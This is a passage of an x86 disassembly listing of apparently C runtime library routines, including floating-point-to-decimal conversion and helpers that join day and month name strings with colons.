mov [ebp+var_6C], eax
jmp short loc_433B94
; ---------------------------------------------------------------------------
loc_433BBB: ; CODE XREF: sub_433320+885j
lea ecx, [ebp+var_60]
push ecx
mov edx, [ebp+var_70]
push edx
lea eax, [ebp+var_38]
push eax
call sub_4331E0
add esp, 0Ch
cmp [ebp+var_74], 0
jge short loc_433BDD
mov ecx, [ebp+var_14]
neg ecx
mov [ebp+var_14], ecx
loc_433BDD: ; CODE XREF: sub_433320+8B3j
mov edx, [ebp+var_14]
add edx, [ebp+var_6C]
mov [ebp+var_14], edx
cmp [ebp+var_18], 0
jnz short loc_433BF5
mov eax, [ebp+var_14]
add eax, [ebp+arg_10]
mov [ebp+var_14], eax
loc_433BF5: ; CODE XREF: sub_433320+8CAj
cmp [ebp+var_C], 0
jnz short loc_433C04
mov ecx, [ebp+var_14]
sub ecx, [ebp+arg_14]
mov [ebp+var_14], ecx
loc_433C04: ; CODE XREF: sub_433320+8D9j
cmp [ebp+var_14], 1450h
jle short loc_433C16
mov [ebp+var_40], 1
jmp short loc_433C58
; ---------------------------------------------------------------------------
loc_433C16: ; CODE XREF: sub_433320+8EBj
cmp [ebp+var_14], 0FFFFEBB0h
jge short loc_433C28
mov [ebp+var_78], 1
jmp short loc_433C58
; ---------------------------------------------------------------------------
loc_433C28: ; CODE XREF: sub_433320+8FDj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_14]
push eax
lea ecx, [ebp+var_60]
push ecx
call sub_4365B0
add esp, 0Ch
mov dx, [ebp+var_60]
mov [ebp+var_48], dx
mov eax, [ebp+var_5E]
mov [ebp+var_8], eax
mov ecx, [ebp+var_5A]
mov [ebp+var_10], ecx
mov dx, [ebp+var_56]
mov word ptr [ebp+var_50], dx
loc_433C58: ; CODE XREF: sub_433320+8F4j
; sub_433320+906j
jmp short loc_433C77
; ---------------------------------------------------------------------------
loc_433C5A: ; CODE XREF: sub_433320+863j
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
loc_433C77: ; CODE XREF: sub_433320+814j
; sub_433320+81Ej ...
cmp [ebp+var_54], 0
jnz short loc_433CA6
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov edx, [ebp+var_50]
and edx, 0FFFFh
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_44]
or ecx, 4
mov [ebp+var_44], ecx
jmp short loc_433CFD
; ---------------------------------------------------------------------------
loc_433CA6: ; CODE XREF: sub_433320+95Bj
cmp [ebp+var_40], 0
jz short loc_433CD1
mov word ptr [ebp+var_50], 7FFFh
mov [ebp+var_10], 80000000h
mov [ebp+var_8], 0
mov [ebp+var_48], 0
mov edx, [ebp+var_44]
or edx, 2
mov [ebp+var_44], edx
jmp short loc_433CFD
; ---------------------------------------------------------------------------
loc_433CD1: ; CODE XREF: sub_433320+98Aj
cmp [ebp+var_78], 0
jz short loc_433CFD
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
mov edx, [ebp+var_44]
or edx, 1
mov [ebp+var_44], edx
loc_433CFD: ; CODE XREF: sub_433320+984j
; sub_433320+9AFj ...
mov eax, [ebp+arg_0]
mov cx, [ebp+var_48]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+6], edx
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov ecx, [ebp+var_1C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+var_44]
mov esp, ebp
pop ebp
retn
sub_433320 endp
; ---------------------------------------------------------------------------
off_433D3A dd offset loc_4333FC ; DATA XREF: sub_433320+D5r
dd offset loc_43349A
dd offset loc_433550
dd offset loc_4335BB
dd offset loc_4336D3
dd offset loc_433805
dd offset loc_43387B
dd offset loc_433960
dd offset loc_433902
dd offset loc_4339B3
dd offset loc_433B23
dd offset loc_433ABF
off_433D6A dd offset loc_433529 ; DATA XREF: sub_433320+1F0r
dd offset loc_433517
dd offset loc_433520
dd offset loc_43353B
byte_433D7A db 0 ; DATA XREF: sub_433320+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
off_433DB5 dd offset loc_4336AC ; DATA XREF: sub_433320+37Cr
dd offset loc_4336A3
dd offset loc_4336BE
byte_433DC1 db 0 ; DATA XREF: sub_433320+376r
dw 2
dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h
off_433DFC dd offset loc_4337DE ; DATA XREF: sub_433320+4AEr
dd offset loc_4337D5
dd offset loc_4337F0
byte_433E08 db 0 ; DATA XREF: sub_433320+4A8r
db 2, 0, 2
dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h
dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push 0
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-0Ch]
push eax
call sub_433320
add esp, 1Ch
mov [ebp-14h], eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_4301D0
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 1
jnz short loc_433E98
mov eax, [ebp-14h]
or al, 2
mov [ebp-14h], eax
loc_433E98: ; CODE XREF: seg000:00433E8Ej
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433EA0 proc near ; CODE XREF: sub_430450+36p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 74h
mov word ptr [ebp+var_64], 4D10h
mov word ptr [ebp+var_3C], 4Dh
mov word ptr [ebp+var_60], 9Ah
mov [ebp+var_20], 134312F4h
mov [ebp+var_54], 0CCh
mov [ebp+var_53], 0CCh
mov [ebp+var_52], 0CCh
mov [ebp+var_51], 0CCh
mov [ebp+var_50], 0CCh
mov [ebp+var_4F], 0CCh
mov [ebp+var_4E], 0CCh
mov [ebp+var_4D], 0CCh
mov [ebp+var_4C], 0CCh
mov [ebp+var_4B], 0CCh
mov [ebp+var_4A], 0FBh
mov [ebp+var_49], 3Fh
mov [ebp+var_58], 1
mov ax, [ebp+arg_8]
mov word ptr [ebp+var_70], ax
mov ecx, [ebp+arg_4]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_48], edx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 8000h
mov word ptr [ebp+var_68], ax
mov cx, word ptr [ebp+var_70]
and cx, 7FFFh
mov word ptr [ebp+var_70], cx
mov edx, [ebp+var_68]
and edx, 0FFFFh
test edx, edx
jz short loc_433F3E
mov eax, [ebp+arg_14]
mov byte ptr [eax+2], 2Dh
jmp short loc_433F45
; ---------------------------------------------------------------------------
loc_433F3E: ; CODE XREF: sub_433EA0+93j
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
loc_433F45: ; CODE XREF: sub_433EA0+9Cj
mov edx, [ebp+var_70]
and edx, 0FFFFh
test edx, edx
jnz short loc_433F8C
cmp [ebp+var_24], 0
jnz short loc_433F8C
cmp [ebp+var_48], 0
jnz short loc_433F8C
mov eax, [ebp+arg_14]
mov word ptr [eax], 0
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 1
mov eax, [ebp+arg_14]
mov byte ptr [eax+4], 30h
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+5], 0
mov eax, 1
jmp loc_4343B2
; ---------------------------------------------------------------------------
loc_433F8C: ; CODE XREF: sub_433EA0+B0j
; sub_433EA0+B6j ...
mov edx, [ebp+var_70]
and edx, 0FFFFh
cmp edx, 7FFFh
jnz loc_434086
mov eax, [ebp+arg_14]
mov word ptr [eax], 1
cmp [ebp+var_24], 80000000h
jnz short loc_433FB8
cmp [ebp+var_48], 0
jz short loc_433FEC
loc_433FB8: ; CODE XREF: sub_433EA0+110j
mov ecx, [ebp+var_24]
and ecx, 40000000h
test ecx, ecx
jnz short loc_433FEC
push offset dword_43AD88
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_41E550
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 6
mov [ebp+var_58], 0
jmp loc_434081
; ---------------------------------------------------------------------------
loc_433FEC: ; CODE XREF: sub_433EA0+116j
; sub_433EA0+123j
mov ecx, [ebp+var_68]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_43402C
cmp [ebp+var_24], 0C0000000h
jnz short loc_43402C
cmp [ebp+var_48], 0
jnz short loc_43402C
push offset dword_43AD80
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_41E550
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 5
mov [ebp+var_58], 0
jmp short loc_434081
; ---------------------------------------------------------------------------
loc_43402C: ; CODE XREF: sub_433EA0+157j
; sub_433EA0+160j ...
cmp [ebp+var_24], 80000000h
jnz short loc_43405F
cmp [ebp+var_48], 0
jnz short loc_43405F
push offset dword_43AD78
mov ecx, [ebp+arg_14]
add ecx, 4
push ecx
call sub_41E550
add esp, 8
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 5
mov [ebp+var_58], 0
jmp short loc_434081
; ---------------------------------------------------------------------------
loc_43405F: ; CODE XREF: sub_433EA0+193j
; sub_433EA0+199j
push offset dword_43AD70
mov eax, [ebp+arg_14]
add eax, 4
push eax
call sub_41E550
add esp, 8
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+3], 6
mov [ebp+var_58], 0
loc_434081: ; CODE XREF: sub_433EA0+147j
; sub_433EA0+18Aj ...
jmp loc_4343AF
; ---------------------------------------------------------------------------
loc_434086: ; CODE XREF: sub_433EA0+FBj
mov edx, [ebp+var_70]
and edx, 0FFFFh
sar edx, 8
mov word ptr [ebp+var_6C], dx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 0FFh
mov [ebp+var_C], ax
mov ecx, [ebp+var_24]
shr ecx, 18h
mov word ptr [ebp+var_40], cx
mov edx, [ebp+var_64]
and edx, 0FFFFh
mov eax, [ebp+var_70]
and eax, 0FFFFh
imul edx, eax
mov ecx, [ebp+var_3C]
and ecx, 0FFFFh
mov eax, [ebp+var_6C]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
mov ecx, [ebp+var_60]
and ecx, 0FFFFh
mov eax, [ebp+var_40]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
sub edx, [ebp+var_20]
mov [ebp+var_8], edx
mov ecx, [ebp+var_8]
sar ecx, 10h
mov [ebp+var_5C], cx
mov dx, word ptr [ebp+var_70]
mov word ptr [ebp+var_2E], dx
mov eax, [ebp+var_24]
mov [ebp+var_32], eax
mov ecx, [ebp+var_48]
mov [ebp+var_38+2], ecx
mov word ptr [ebp+var_38], 0
push 1
movsx edx, [ebp+var_5C]
neg edx
push edx
lea eax, [ebp+var_38]
push eax
call sub_4365B0
add esp, 0Ch
mov ecx, [ebp+var_2E]
and ecx, 0FFFFh
cmp ecx, 3FFFh
jl short loc_43415D
mov dx, [ebp+var_5C]
add dx, 1
mov [ebp+var_5C], dx
lea eax, [ebp+var_54]
push eax
lea ecx, [ebp+var_38]
push ecx
call sub_436170
add esp, 8
loc_43415D: ; CODE XREF: sub_433EA0+29Fj
mov edx, [ebp+arg_14]
mov ax, [ebp+var_5C]
mov [edx], ax
mov ecx, [ebp+arg_10]
and ecx, 1
test ecx, ecx
jz short loc_4341B1
movsx edx, [ebp+var_5C]
mov eax, [ebp+arg_C]
add eax, edx
mov [ebp+arg_C], eax
cmp [ebp+arg_C], 0
jg short loc_4341B1
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp loc_4343B2
; ---------------------------------------------------------------------------
loc_4341B1: ; CODE XREF: sub_433EA0+2CFj
; sub_433EA0+2E1j
cmp [ebp+arg_C], 15h
jle short loc_4341BE
mov [ebp+arg_C], 15h
loc_4341BE: ; CODE XREF: sub_433EA0+315j
mov eax, [ebp+var_2E]
and eax, 0FFFFh
sub eax, 3FFEh
mov [ebp+var_2E+2], eax
mov word ptr [ebp+var_2E], 0
mov [ebp+var_44], 0
jmp short loc_4341E6
; ---------------------------------------------------------------------------
loc_4341DD: ; CODE XREF: sub_433EA0+358j
mov ecx, [ebp+var_44]
add ecx, 1
mov [ebp+var_44], ecx
loc_4341E6: ; CODE XREF: sub_433EA0+33Bj
cmp [ebp+var_44], 8
jge short loc_4341FA
lea edx, [ebp+var_38]
push edx
call sub_433110
add esp, 4
jmp short loc_4341DD
; ---------------------------------------------------------------------------
loc_4341FA: ; CODE XREF: sub_433EA0+34Aj
cmp [ebp+var_2E+2], 0
jge short loc_43422C
mov eax, [ebp+var_2E+2]
neg eax
and eax, 0FFh
mov [ebp+var_74], eax
jmp short loc_434218
; ---------------------------------------------------------------------------
loc_43420F: ; CODE XREF: sub_433EA0+38Aj
mov ecx, [ebp+var_74]
sub ecx, 1
mov [ebp+var_74], ecx
loc_434218: ; CODE XREF: sub_433EA0+36Dj
cmp [ebp+var_74], 0
jle short loc_43422C
lea edx, [ebp+var_38]
push edx
call sub_433170
add esp, 4
jmp short loc_43420F
; ---------------------------------------------------------------------------
loc_43422C: ; CODE XREF: sub_433EA0+35Ej
; sub_433EA0+37Cj
mov eax, [ebp+arg_14]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_434249
; ---------------------------------------------------------------------------
loc_434240: ; CODE XREF: sub_433EA0+413j
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
loc_434249: ; CODE XREF: sub_433EA0+39Ej
cmp [ebp+var_10], 0
jle short loc_4342B5
mov eax, [ebp+var_38]
mov [ebp+var_1C], eax
mov ecx, [ebp-34h]
mov [ebp+var_18], ecx
mov edx, [ebp+var_32+2]
mov [ebp+var_14], edx
lea eax, [ebp+var_38]
push eax
call sub_433110
add esp, 4
lea ecx, [ebp+var_38]
push ecx
call sub_433110
add esp, 4
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_38]
push eax
call sub_433060
add esp, 8
lea ecx, [ebp+var_38]
push ecx
call sub_433110
add esp, 4
mov edx, [ebp+var_2E+1]
and edx, 0FFh
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov byte ptr [ebp+var_2E+1], 0
jmp short loc_434240
; ---------------------------------------------------------------------------
loc_4342B5: ; CODE XREF: sub_433EA0+3ADj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov [ebp+var_28], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
movsx eax, [ebp+var_28]
cmp eax, 35h
jl short loc_434333
jmp short loc_4342E3
; ---------------------------------------------------------------------------
loc_4342DA: ; CODE XREF: sub_433EA0+45Fj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4342E3: ; CODE XREF: sub_433EA0+438j
mov edx, [ebp+arg_14]
add edx, 4
cmp [ebp+var_4], edx
jb short loc_434301
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_434301
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
jmp short loc_4342DA
; ---------------------------------------------------------------------------
loc_434301: ; CODE XREF: sub_433EA0+44Cj
; sub_433EA0+457j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_434325
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov ax, [edx]
add ax, 1
mov ecx, [ebp+arg_14]
mov [ecx], ax
loc_434325: ; CODE XREF: sub_433EA0+46Aj
mov edx, [ebp+var_4]
mov al, [edx]
add al, 1
mov ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_43438C
; ---------------------------------------------------------------------------
loc_434333: ; CODE XREF: sub_433EA0+436j
jmp short loc_43433E
; ---------------------------------------------------------------------------
loc_434335: ; CODE XREF: sub_433EA0+4B4j
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_43433E: ; CODE XREF: sub_433EA0:loc_434333j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jb short loc_434356
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_434356
jmp short loc_434335
; ---------------------------------------------------------------------------
loc_434356: ; CODE XREF: sub_433EA0+4A7j
; sub_433EA0+4B2j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_43438C
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp short loc_4343B2
; ---------------------------------------------------------------------------
loc_43438C: ; CODE XREF: sub_433EA0+491j
; sub_433EA0+4BFj
mov eax, [ebp+arg_14]
add eax, 4
mov ecx, [ebp+var_4]
sub ecx, eax
add ecx, 1
mov edx, [ebp+arg_14]
mov [edx+3], cl
mov eax, [ebp+arg_14]
movsx ecx, byte ptr [eax+3]
mov edx, [ebp+arg_14]
mov byte ptr [edx+ecx+4], 0
loc_4343AF: ; CODE XREF: sub_433EA0:loc_434081j
mov eax, [ebp+var_58]
loc_4343B2: ; CODE XREF: sub_433EA0+E7j
; sub_433EA0+30Cj ...
mov esp, ebp
pop ebp
retn
sub_433EA0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, ds:off_450F58
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_4343E8
; ---------------------------------------------------------------------------
loc_4343DF: ; CODE XREF: seg000:0043441Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_4343E8: ; CODE XREF: seg000:004343DDj
cmp dword ptr [ebp-10h], 7
jnb short loc_434421
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_41AC70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_41AC70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_4343DF
; ---------------------------------------------------------------------------
loc_434421: ; CODE XREF: seg000:004343ECj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_41AE40
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_4344D9
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_434455
; ---------------------------------------------------------------------------
loc_43444C: ; CODE XREF: seg000:004344C8j
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_434455: ; CODE XREF: seg000:0043444Aj
cmp dword ptr [ebp-10h], 7
jnb short loc_4344CA
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+1Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_43444C
; ---------------------------------------------------------------------------
loc_4344CA: ; CODE XREF: seg000:00434459j
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_4344D9: ; CODE XREF: seg000:00434437j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, ds:off_450F58
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_434518
; ---------------------------------------------------------------------------
loc_43450F: ; CODE XREF: seg000:00434550j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_434518: ; CODE XREF: seg000:0043450Dj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_434552
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
call sub_41AC70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+68h]
push ecx
call sub_41AC70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_43450F
; ---------------------------------------------------------------------------
loc_434552: ; CODE XREF: seg000:0043451Cj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_41AE40
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_43460B
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_434586
; ---------------------------------------------------------------------------
loc_43457D: ; CODE XREF: seg000:004345FAj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_434586: ; CODE XREF: seg000:0043457Bj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_4345FC
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_43457D
; ---------------------------------------------------------------------------
loc_4345FC: ; CODE XREF: seg000:0043458Aj
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_43460B: ; CODE XREF: seg000:00434568j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, ds:off_450F58
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_434648
; ---------------------------------------------------------------------------
loc_43463F: ; CODE XREF: seg000:0043467Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_434648: ; CODE XREF: seg000:0043463Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_434681
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_41AC70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_41AC70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_43463F
; ---------------------------------------------------------------------------
loc_434681: ; CODE XREF: seg000:0043464Cj
mov dword ptr [ebp-10h], 0
jmp short loc_434693
; ---------------------------------------------------------------------------
loc_43468A: ; CODE XREF: seg000:004346CBj
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_434693: ; CODE XREF: seg000:00434688j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_4346CD
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
call sub_41AC70
add esp, 4
mov esi, eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
call sub_41AC70
add esp, 4
add eax, [ebp-8]
lea ecx, [eax+esi+2]
mov [ebp-8], ecx
jmp short loc_43468A
; ---------------------------------------------------------------------------
loc_4346CD: ; CODE XREF: seg000:00434697j
mov edx, [ebp-0Ch]
mov eax, [edx+98h]
push eax
call sub_41AC70
add esp, 4
mov esi, eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+9Ch]
push edx
call sub_41AC70
add esp, 4
add eax, [ebp-8]
lea eax, [eax+esi+2]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A0h]
push edx
call sub_41AC70
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A4h]
push ecx
call sub_41AC70
add esp, 4
mov edx, [ebp-8]
lea eax, [edx+eax+1]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A8h]
push edx
call sub_41AC70
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-8]
add eax, 0ACh
push eax
call sub_41AE40
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_434986
mov ecx, [ebp-4]
mov [ebp-18h], ecx
mov edx, [ebp-4]
add edx, 0ACh
mov [ebp-14h], edx
push 0ACh
mov eax, ds:off_450F58
push eax
mov ecx, [ebp-4]
push ecx
call sub_41E840
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_4347AA
; ---------------------------------------------------------------------------
loc_4347A1: ; CODE XREF: seg000:0043481Cj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_4347AA: ; CODE XREF: seg000:0043479Fj
cmp dword ptr [ebp-10h], 7
jnb short loc_43481E
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp-14h]
push eax
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4+1Ch], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4+1Ch]
push edx
mov eax, [ebp-14h]
push eax
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
jmp short loc_4347A1
; ---------------------------------------------------------------------------
loc_43481E: ; CODE XREF: seg000:004347AEj
mov dword ptr [ebp-10h], 0
jmp short loc_434830
; ---------------------------------------------------------------------------
loc_434827: ; CODE XREF: seg000:004348A4j
mov eax, [ebp-10h]
add eax, 1
